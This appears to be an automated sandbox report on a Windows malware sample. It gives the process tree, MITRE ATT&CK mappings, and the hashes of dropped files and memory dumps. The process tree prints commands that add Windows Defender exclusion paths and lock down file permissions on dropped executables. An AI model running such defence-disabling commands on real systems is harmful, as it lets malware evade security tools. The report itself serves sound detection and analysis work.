      icacls "C:\Program Files (x86)\vyZAv7" /inheritance:r
      4⤵
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:4836
- - C:\Windows\SysWOW64\cmd.exe
    cmd /c echo.>c:\xxxx.ini
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    PID:2344
- - C:\Windows\SysWOW64\cmd.exe
    cmd /c echo.>c:\xxxx.ini
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    PID:3828
- - C:\Windows\SysWOW64\cmd.exe
    cmd /c echo.>c:\xxxx.ini
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    PID:1264
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\vyZAv7" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:464
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\vyZAv7" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
      4⤵
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:1912
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\vyZAv7" /grant:r Users:(OI)(CI)(RX) /deny Users:(OI)(CI)(DC)
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:3888
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\vyZAv7" /grant:r Users:(OI)(CI)(RX) /deny Users:(OI)(CI)(DC)
      4⤵
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:3488
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\vyZAv7\RY1zV3.exe" /inheritance:r
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:1612
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\vyZAv7\RY1zV3.exe" /inheritance:r
      4⤵
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:4996
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\vyZAv7\RY1zV3.exe" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:1944
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\vyZAv7\RY1zV3.exe" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
      4⤵
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:4380
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\vyZAv7\RY1zV3.exe" /grant:r Users:(RX) /deny Users:(DE)
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:2308
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\vyZAv7\RY1zV3.exe" /grant:r Users:(RX) /deny Users:(DE)
      4⤵
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:1184
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\vyZAv7\image.png" /inheritance:r
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:3232
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\vyZAv7\image.png" /inheritance:r
      4⤵
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:1436
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\vyZAv7\image.png" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:3976
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\vyZAv7\image.png" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
      4⤵
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:5108
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\vyZAv7\image.png" /grant:r Users:(RX) /deny Users:(DE)
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:4696
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\vyZAv7\image.png" /grant:r Users:(RX) /deny Users:(DE)
      4⤵
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:3748
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\vyZAv7\thumbs.db" /inheritance:r
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:2200
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\vyZAv7\thumbs.db" /inheritance:r
      4⤵
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:2756
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\vyZAv7\thumbs.db" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:4580
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\vyZAv7\thumbs.db" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
      4⤵
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:4220
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\vyZAv7\thumbs.db" /grant:r Users:(RX) /deny Users:(DE)
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:5820
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\vyZAv7\thumbs.db" /grant:r Users:(RX) /deny Users:(DE)
      4⤵
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:4732
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\vyZAv7\XPSPLOG.dll" /inheritance:r
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:1936
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\vyZAv7\XPSPLOG.dll" /inheritance:r
      4⤵
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:5836
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\vyZAv7\XPSPLOG.dll" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:4356
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\vyZAv7\XPSPLOG.dll" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
      4⤵
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:2732
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\vyZAv7\XPSPLOG.dll" /grant:r Users:(RX) /deny Users:(DE)
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:6032
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\vyZAv7\XPSPLOG.dll" /grant:r Users:(RX) /deny Users:(DE)
      4⤵
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:1964

C:\Users\Public\PtBcQn\FFXlqh.exe
"C:\Users\Public\PtBcQn\FFXlqh.exe"
1⤵
- Executes dropped EXE
- Loads dropped DLL
PID:2308

C:\Windows\system32\cmd.exe
"cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\PtBcQn" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4256
- C:\Windows\System32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\PtBcQn" /t REG_DWORD /d 0 /f
  2⤵
  - Windows security bypass
  PID:5664

C:\Windows\system32\cmd.exe
cmd.exe
1⤵
PID:3240

C:\Windows\system32\cmd.exe
"cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:5500
- C:\Windows\System32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f
  2⤵
  - Windows security bypass
  PID:5952

C:\Windows\system32\cmd.exe
"cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:5336
- C:\Windows\System32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f
  2⤵
  - Windows security bypass
  PID:5244

C:\Program Files (x86)\vyZAv7\RY1zV3.exe
"C:\Program Files (x86)\vyZAv7\RY1zV3.exe"
1⤵
- Executes dropped EXE
- Loads dropped DLL
- System Location Discovery: System Language Discovery
PID:912

C:\Program Files (x86)\E0il3uQiZ\2O069.exe
"C:\Program Files (x86)\E0il3uQiZ\2O069.exe"
1⤵
- Executes dropped EXE
- Loads dropped DLL
- System Location Discovery: System Language Discovery
PID:5008

C:\Program Files (x86)\vyZAv7\RY1zV3.exe
"C:\Program Files (x86)\vyZAv7\RY1zV3.exe"
1⤵
- Executes dropped EXE
- Loads dropped DLL
- System Location Discovery: System Language Discovery
PID:2400

C:\Program Files (x86)\E0il3uQiZ\2O069.exe
"C:\Program Files (x86)\E0il3uQiZ\2O069.exe"
1⤵
- Executes dropped EXE
- Loads dropped DLL
- System Location Discovery: System Language Discovery
PID:5900

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Windows Command Shell

T1059.003

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Event Triggered Execution

T1546

Screensaver

T1546.002

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Event Triggered Execution

T1546

Screensaver

T1546.002

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

File and Directory Permissions Modification

T1222

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Indicator Removal

T1070

Clear Persistence

T1070.009

Modify Registry

T1112

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

System Network Configuration Discovery

T1016

Lateral Movement

Remote Services

T1021

Remote Desktop Protocol

T1021.001

Collection

Video Capture

T1125

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

XPSPLOG.dll

Path C:\Program Files (x86)\E0il3uQiZ\XPSPLOG.dll
Size 4.6MB
SHA256 1498658c9c21802d47ce8ac066fc0e82f1058b44d2041ccffc71e08e1a07520f
MD5 4fba8a7d07fe945c131be7d88452ab0b
SHA1 6130a33895acf6e9088dfa0acfebf95822047ca1
SHA512 901d694c8eb5a4db9ed27c10671137e8fecb6f78bdba2215c7df0430ff804d90899fa7c4e4263eafb7b25144f4438ca3db234ea8bdd13a867385341ce717b721
SSDEEP 98304:yCMWmcKfST5t+BceThTHfaCCUqmJPCYvboB1fdmyW:BMWKfU+BcUTHCCCfqCiUffnW
TLSH
T157263349BADB025DD89672704F6AFD7EB2B92CCC4204DC4DD44DE587E8B2729703A90E
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

image.png

Path C:\Program Files (x86)\E0il3uQiZ\image.png
Size 4.8MB
SHA256 cb8eb86dbfcea2390b9426108457827dea8ef827b7fafdd9fef386823f35d30f
MD5 d24c0072ea4a500ca6130353b157cbb0
SHA1 145d830c1c17c4188c2476ae5278fc57925f81e7
SHA512 35a796e034e6d9d84ecad522936c1068894b703f1b8a4cb35605fefd7b5bb5f5545d8543faeeecb8c8a64d6364871ac62b1c65155b1f1890ce8445dde5d4797f
SSDEEP 98304:W/kbbJse0kVnNLHgU4xCdWDI9U85SRewtOOqncq0/bsf8IWkKo5M2w:WMpJ0kVNLAU4xWWDI3ieO+n1yAFWkh5Q
TLSH
T1B936334FE6EFBED9C39CF7EA71098A30D63A4FBE1542292560229D14B63D7073293505
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

RY1zV3.exe

Path C:\Program Files (x86)\vyZAv7\RY1zV3.exe
Size 145KB
SHA256 6d6ba2bc9ad414837826f7278bc3e0116f1aeda02d0c2284ed65819f5d9180a8
MD5 5251b98614acffe5c856f4039ca03da3
SHA1 c80ed6716e89d4862f28ebbc130ec5aa362db963
SHA512 d750c9adb08d9525ee9948c0c18c96f0c9520068aa4aa24885ac0d98790a6cc0a8ce0e71e1c669acd4623e0aabfc08c11c02be403f275b01aa4277c4ddab3302
SSDEEP 3072:VafgcZGuY2TqWLGzwRC7kll1xtBQDTCCvtzaYPFPR/M:Yz8upLGaPQDnFzaYPFdM
TLSH
T16AE30852B6808460F76A0B311864F9E44A6EED3C1AD0E95FF2787D3A1E311C38A7756F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

XPSPLOG.dll

Path C:\Program Files (x86)\vyZAv7\XPSPLOG.dll
Size 4.6MB
SHA256 1d66af93af3b1ed5a9bd73ce0aea6c206f2bbbdaf6f2ae9753261bfc579ff44e
MD5 93a53dee03777f6b66845690105636c3
SHA1 d44a9ae7f5c7750a9381030cc7b537031b42634d
SHA512 8e3c056000fa17d653798e6b2f289fab9a8416c05e6ece47bc9e709f8193de33cfb5eae28cb15f8a04217c48da976deeb54d1d9bbbb9b1a6ebde023c11d5db25
SSDEEP 98304:yCMWmcKfST5t+BceThTHfaCCUqmJPCYvboB1fdmyQ:BMWKfU+BcUTHCCCfqCiUffnQ
TLSH
T101263349BADB025DD89672704F6AFD7EB2B92CCC4204DC4DD44DE587E8B2729703A90E
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

image.png

Path C:\Program Files (x86)\vyZAv7\image.png
Size 4.8MB
SHA256 237410f2ac7b806bc2f9ee068cac02e8da61df60ab1d92c50a7745fd216c21f4
MD5 febd83037741178b3f2713340fe47613
SHA1 b8f4cf0fb0a4139fcf4c06a6757a76846b40f826
SHA512 980718455b20008929f6a0e99e5e21b0fb46dfdc2b2003241145979bdb300ee0f6fe7acf61ca498ffd3f05e1b70351c7d4545f5d178799c43b8bc4cae73aff5f
SSDEEP 98304:u/kbbJse0kVnNLHgU4xCdWDI9U85SRewtOOqncq0/bsf8IWkKo5M2w:uMpJ0kVNLAU4xWWDI3ieO+n1yAFWkh5Q
TLSH
T11E36334FE6EFBED9C39CF7EA71098A30D63A8FBE1542292560229D14B63D7073293505
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

thumbs.db

Path C:\Program Files (x86)\vyZAv7\thumbs.db
Size 358KB
SHA256 86e284743b5625bd25a09f237acfa8e3bd7495b09192a930d2f9879efba5b933
MD5 0a66ecd47562af5aefca01c9324c3a93
SHA1 df59223a8a12a00623ea7e5367e97ddbd93c8092
SHA512 93c7f0dccb1dd4d207c4aac8805847ee3068ccb7b99af8f243b9bdc8f86410fdeba6e40062f412d007576fc37b911c0e57352cb72b647647aae08470dde1eb6e
SSDEEP 6144:viACk/u6n9aBOmmD1oQFu0oMOxKnJPWyD9Dcqt1oFsnrqW7mb/:a8u69CghoQxoMTFQqtKFCz7mb/
TLSH
T10674F268E6651EFE0E175FECE04F58AE9A8FD9E302C900252BF1C6D1CA106E4941FD5E
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

0DA515F703BB9B49479E8697ADB0B955_A825BDF54036A41AFA74CBF923C33A97

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\0DA515F703BB9B49479E8697ADB0B955_A825BDF54036A41AFA74CBF923C33A97
Size 1KB
SHA256 6abae8e67e0d21b5f47565b7605a6bd758687c1f87529f7bced12cb32af6d442
MD5 ec7400c40653515e441094d616df949e
SHA1 166dc862462257223e4d2619282542b4ad6e9d0c
SHA512 39b6f9ba75cc01855342a2212a1f6abbf5a2c8fe7d2d248daa8d5a6b3b7cc6035ce29132999df17416d2d7350ed2a252484ccc1c02989897d92112bf799e2ffb
TLSH
T1C43174BB1B6D6D829F7A4EE015CEE2322DEAE2406DC9105A6214C4589F043B13F9E908
MD5 SHA1 SHA512 TLSH

Submit Download

B126FCE2445AEB4D678E59CB88147627_9759CCC75F54A99CEB69AE73B218D5C6

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\B126FCE2445AEB4D678E59CB88147627_9759CCC75F54A99CEB69AE73B218D5C6
Size 1KB
SHA256 83a2e8674c14ecd32680d58c37124f16a6b2a5c7775c4064326edaba59a4f301
MD5 f4fe2a54067c6acfa2dceb014befe910
SHA1 87351c00e12e933b09c81094b9f901899305ca06
SHA512 fb272e8fe6047b5547e96c8e1b8a363e1a72387174b44f042e6b25b2a8c827c658a31d78e6b8765e81de3c7b385a7477ed3ce63accd30a318d9cdf565158a3c5
TLSH
T17031D6938E395003CB0C8F7A62D0D23B6CF4B1625CE82802723DC2AB6605BBB1FC2040
MD5 SHA1 SHA512 TLSH

Submit Download

0DA515F703BB9B49479E8697ADB0B955_A825BDF54036A41AFA74CBF923C33A97

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\0DA515F703BB9B49479E8697ADB0B955_A825BDF54036A41AFA74CBF923C33A97
Size 512B
SHA256 055695779b08f3bc69d9a3858020209e420aab03e357051401e16e497f96c267
MD5 d7f92f89a3dc7a1ee6172199e75b7e66
SHA1 16d1cd05180de6323861ef612d398f65e1cf3aa1
SHA512 92e7feb2734bd47e4e55337e58483b387dae41d9b9bae826046a0d42587e48d7b16a212f887124f5fa6cccab25e4699e5edcf667411b8788035bb263c2c1213e
TLSH
T170F0DC1C84B8423FF132DB3D83C4395B3A6BF705340641A006F95B08E906A037C22936
MD5 SHA1 SHA512 TLSH

Submit Download

B126FCE2445AEB4D678E59CB88147627_9759CCC75F54A99CEB69AE73B218D5C6

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\B126FCE2445AEB4D678E59CB88147627_9759CCC75F54A99CEB69AE73B218D5C6
Size 506B
SHA256 1d9044ac3af7dae224eba512f3be861b84da6b1d6bcb8a5ab8aa54d22d745ffe
MD5 b95c8311f06cdf77041d6a2d29af6c21
SHA1 9dc98911716b9b5926036bcb8261b03f148b6ffb
SHA512 a9591e41bf3bf0b8a291e49634d07826c8117f621b703d8ba3e5ce42783686601561850bd700814f2f0db83e4ac646f022e995393811c5ae708bb19f20286c27
TLSH
T15CF05C394BDB413BF17A97BCCACB35634935E923101B73FD0A6507045B97C011C4266E
MD5 SHA1 SHA512 TLSH

Submit Download

__PSScriptPolicyTest_b2jnaguz.efe.psm1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_b2jnaguz.efe.psm1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

destopbak.ini

Path C:\Users\Public\Music\destopbak.ini
Size 2B
SHA256 dd1e2826c0124a6d4f7397a5a71f633928926c0608b62fb9e615ba778acc39ff
MD5 7e74f75663e5b5a4f3452a4c603ee45d
SHA1 d5114b086b721f2c87ea7152025792958ab4c629
SHA512 2f5d0d45593487bebc2ccf968eaf2a4a3bde1d5a29c7c2b5ad411e041c0d3b7a46be439ed7083093057a96030683b9defbed1a2ef7882b3e64cf3fbc7c9cf12f
MD5 SHA1 SHA512

Submit Download

FFXlqh.exe

Path C:\Users\Public\PtBcQn\FFXlqh.exe
Size 135KB
SHA256 676a2a7b94ca2f8ec76352ee656e4d075bb342bd7ad6efbc7c19c060001eace7
MD5 9ec587911e501b73b7cf09f05d0ae17d
SHA1 5b62403cc9a668c6e5c70ace177fd54fcc4c5936
SHA512 d05468a472373815c46ccb46ec743408365d24982d10d8a23ee0036c28cf3dacd05d74304ef2d4b7118f91ff3f631f676b2e86ddee92a02cf988b0d3c6247847
SSDEEP 3072:MmhXb5pgtiaRENEErO9Uj4OqhhUvB4BNgQaJ:MmjgtiayGErsUKh3To
TLSH
T1D0D38C2776A474F9E1778635C8511A1AE772B8760770CB9F03A442A62F237D19E3EF20
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

UxEnhance64.dll

Path C:\Users\Public\PtBcQn\UxEnhance64.dll
Size 3.1MB
SHA256 05910a568c9b622743f75468b990df998ffc62b7fcc6d2675917db33bd2a8717
MD5 f140ef620a7e330a9094fdf36f40dbbe
SHA1 4abd4584da95bc6e183c3983989bb8f273022632
SHA512 ac1b1092993bedca6ec98a4bcae0b436e57216d63808fe0a70dd5f13a4c44d1a9c804bb86a072890aa379bf12b9f7efbcafddf504af46c9ec3ec67d7e89d8e4b
SSDEEP 49152:P9KpI8cBa0kj6BK0x3TiMQclkGo2PXk6rkwuuWG/+WizBedfb77N3SnKrKB+u:P9m29xx3Tiqt06ox6+z2rNNrKou
TLSH
T1D3E523E5B6D739F6D023CBF4DA62A1AD70393F505F635C5F3B8929014E62228973A390
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

adoresd.dat

Path C:\Users\Public\PtBcQn\adoresd.dat
Size 4.8MB
SHA256 8beb1b1e8ede00558921c7ad01c224c339a126c6846d7dde4e898b0ea627fa7e
MD5 9ca5c794f4f22002f2e346993283ad5e
SHA1 0a24f3c30704cbd429f783254fb3954d294e5e27
SHA512 47a24760e9e62fdae12d45a8fc05bc9e35c507778ef606731ab0a6fc00c07b12f367b7b0f5ababbbd03375eda84ec0a15472508f97dbede21aa75f1a01b4394b
SSDEEP 98304:lWjdk+BWRdgiQH5fi2EP8QppMsYpfemnFjrIROuF7dYutYONNClD:lWj3WRdRQH5fimPGmNc7dBtYOc
TLSH
T1733633AB2FC2F55F5582315954D8E0216D7FFEC626CA2B5D6E7888F7A32210A04BD24C
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

msadox.tb

Path C:\Users\Public\PtBcQn\msadox.tb
Size 8KB
SHA256 208bd27cb91273552f40fb3d5fcfc603a719096f4cf01a9a0531f83692e0d16b
MD5 f10420391f29ddf0e5f59517f3ec448f
SHA1 76bc7512dcd6a8529cd0e5a9491f4b2087b2139f
SHA512 dcc58f4f3acf9d0560086425a2c878b37f17e0d770a17c3f209551e04031217c1e9695cafbf5af029cc09fef53d04c9c1b8d6aa8f079b217705014c1eec9b88a
SSDEEP 192:wqbZajnZ45X1q3JXglD+3vR8cwNhIMCGe2y0PQp:wsZqZOXQ3uqvR2Kfzp
TLSH
T1F3029E05D7A20CC3D2016C71CD9EB2F5AB13A1DADA3926719C67D4C167072DD2CE620D
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

xxxx.ini

Path \??\c:\xxxx.ini
Size 2B
SHA256 7eb70257593da06f682a3ddda54a9d260d4fc514f645237f5ca74b08f8da61a6
MD5 81051bcc2cf1bedf378224b0a93e2877
SHA1 ba8ab5a0280b953aa97435ff8946cbcbb2755a27
SHA512 1b302a2f1e624a5fb5ad94ddc4e5f8bfd74d26fa37512d0e5face303d8c40eee0d0ffa3649f5da43f439914d128166cb6c4774a7caa3b174d7535451eb697b5d
MD5 SHA1 SHA512

Submit Download

memory/912-762-0x0000000000A00000-0x0000000000A01000-memory.dmp

Download

memory/912-770-0x00000000009E0000-0x00000000009E1000-memory.dmp

Download

memory/912-763-0x0000000003120000-0x00000000038FD000-memory.dmp

Download

memory/912-736-0x00000000009E0000-0x00000000009E1000-memory.dmp

Download

memory/912-737-0x0000000074840000-0x0000000074F8A000-memory.dmp

Download

memory/912-740-0x0000000003120000-0x00000000038FD000-memory.dmp

Download

memory/1380-606-0x000001AACAEA0000-0x000001AACAEC2000-memory.dmp

Download

memory/1380-611-0x000001AACAEF0000-0x000001AACAEFA000-memory.dmp

Download

memory/1380-610-0x000001AACB120000-0x000001AACB1D2000-memory.dmp

Download

memory/1380-609-0x000001AACB100000-0x000001AACB11E000-memory.dmp

Download

memory/1676-532-0x000001D8937D0000-0x000001D893CEE000-memory.dmp

Download

memory/1676-544-0x000001D8960E0000-0x000001D8969B7000-memory.dmp

Download

memory/1676-564-0x000001D896E20000-0x000001D896EAA000-memory.dmp

Download

memory/1676-563-0x000001D896E20000-0x000001D896EAA000-memory.dmp

Download

memory/1676-552-0x000001D8960E0000-0x000001D8969B7000-memory.dmp

Download

memory/1676-537-0x000001D8960E0000-0x000001D8969B7000-memory.dmp

Download

memory/1676-540-0x000001D8960E0000-0x000001D8969B7000-memory.dmp

Download

memory/1676-569-0x000001D8960E0000-0x000001D8969B7000-memory.dmp

Download

memory/1676-531-0x00007FFA5FE50000-0x00007FFA5FE52000-memory.dmp

Download

memory/1676-562-0x000001D896E20000-0x000001D896EAA000-memory.dmp

Download

memory/1676-561-0x000001D896E20000-0x000001D896EAA000-memory.dmp

Download

memory/1676-685-0x000001D8937D0000-0x000001D893CEE000-memory.dmp

Download

memory/1676-545-0x000001D8960E0000-0x000001D8969B7000-memory.dmp

Download

memory/1676-676-0x000001D8960E0000-0x000001D8969B7000-memory.dmp

Download

memory/1676-546-0x000001D8960E0000-0x000001D8969B7000-memory.dmp

Download

memory/1676-539-0x00007FFA5FE60000-0x00007FFA5FE62000-memory.dmp

Download

memory/1676-547-0x000001D8960E0000-0x000001D8969B7000-memory.dmp

Download

memory/1676-550-0x000001D8937D0000-0x000001D893CEE000-memory.dmp

Download

memory/1676-558-0x000001D8960E0000-0x000001D8969B7000-memory.dmp

Download

memory/1676-560-0x000001D896D40000-0x000001D896D8E000-memory.dmp

Download

memory/2308-596-0x000001844E860000-0x000001844ED7E000-memory.dmp

Download

memory/2308-587-0x0000018451250000-0x0000018451B27000-memory.dmp

Download

memory/2308-593-0x0000018451250000-0x0000018451B27000-memory.dmp

Download

memory/2308-594-0x0000018451250000-0x0000018451B27000-memory.dmp

Download

memory/2308-579-0x00007FFA5FE50000-0x00007FFA5FE52000-memory.dmp

Download

memory/2308-595-0x00007FFA5FE50000-0x00007FFA5FE52000-memory.dmp

Download

memory/2308-580-0x000001844E860000-0x000001844ED7E000-memory.dmp

Download

memory/2308-592-0x0000018451250000-0x0000018451B27000-memory.dmp

Download

memory/2308-584-0x0000018451250000-0x0000018451B27000-memory.dmp

Download

memory/2308-591-0x0000018451250000-0x0000018451B27000-memory.dmp

Download

memory/2308-586-0x00007FFA5FE60000-0x00007FFA5FE62000-memory.dmp

Download

memory/2400-790-0x00000000013A0000-0x00000000013A1000-memory.dmp

Download

memory/2400-778-0x0000000074840000-0x0000000074F8A000-memory.dmp

Download

memory/2400-777-0x0000000001200000-0x0000000001201000-memory.dmp

Download

memory/2400-782-0x00000000039B0000-0x000000000418D000-memory.dmp

Download

memory/2400-791-0x00000000039B0000-0x000000000418D000-memory.dmp

Download

memory/2840-688-0x0000000001450000-0x0000000001451000-memory.dmp

Download

memory/2840-758-0x0000000005520000-0x000000000555A000-memory.dmp

Download

memory/2840-734-0x0000000003870000-0x000000000404D000-memory.dmp

Download

memory/2840-712-0x0000000003870000-0x000000000404D000-memory.dmp

Download

memory/2840-700-0x0000000001510000-0x0000000001524000-memory.dmp

Download

memory/2840-693-0x0000000003870000-0x000000000404D000-memory.dmp

Download

memory/2840-680-0x0000000001430000-0x0000000001431000-memory.dmp

Download

memory/2840-718-0x0000000010000000-0x0000000010061000-memory.dmp

Download

memory/2840-681-0x0000000074840000-0x0000000074F8A000-memory.dmp

Download

memory/2840-686-0x0000000003870000-0x000000000404D000-memory.dmp

Download

memory/2840-689-0x0000000003870000-0x000000000404D000-memory.dmp

Download

memory/2840-755-0x0000000003870000-0x000000000404D000-memory.dmp

Download

memory/4200-525-0x00007FFA48770000-0x00007FFA48782000-memory.dmp

Download

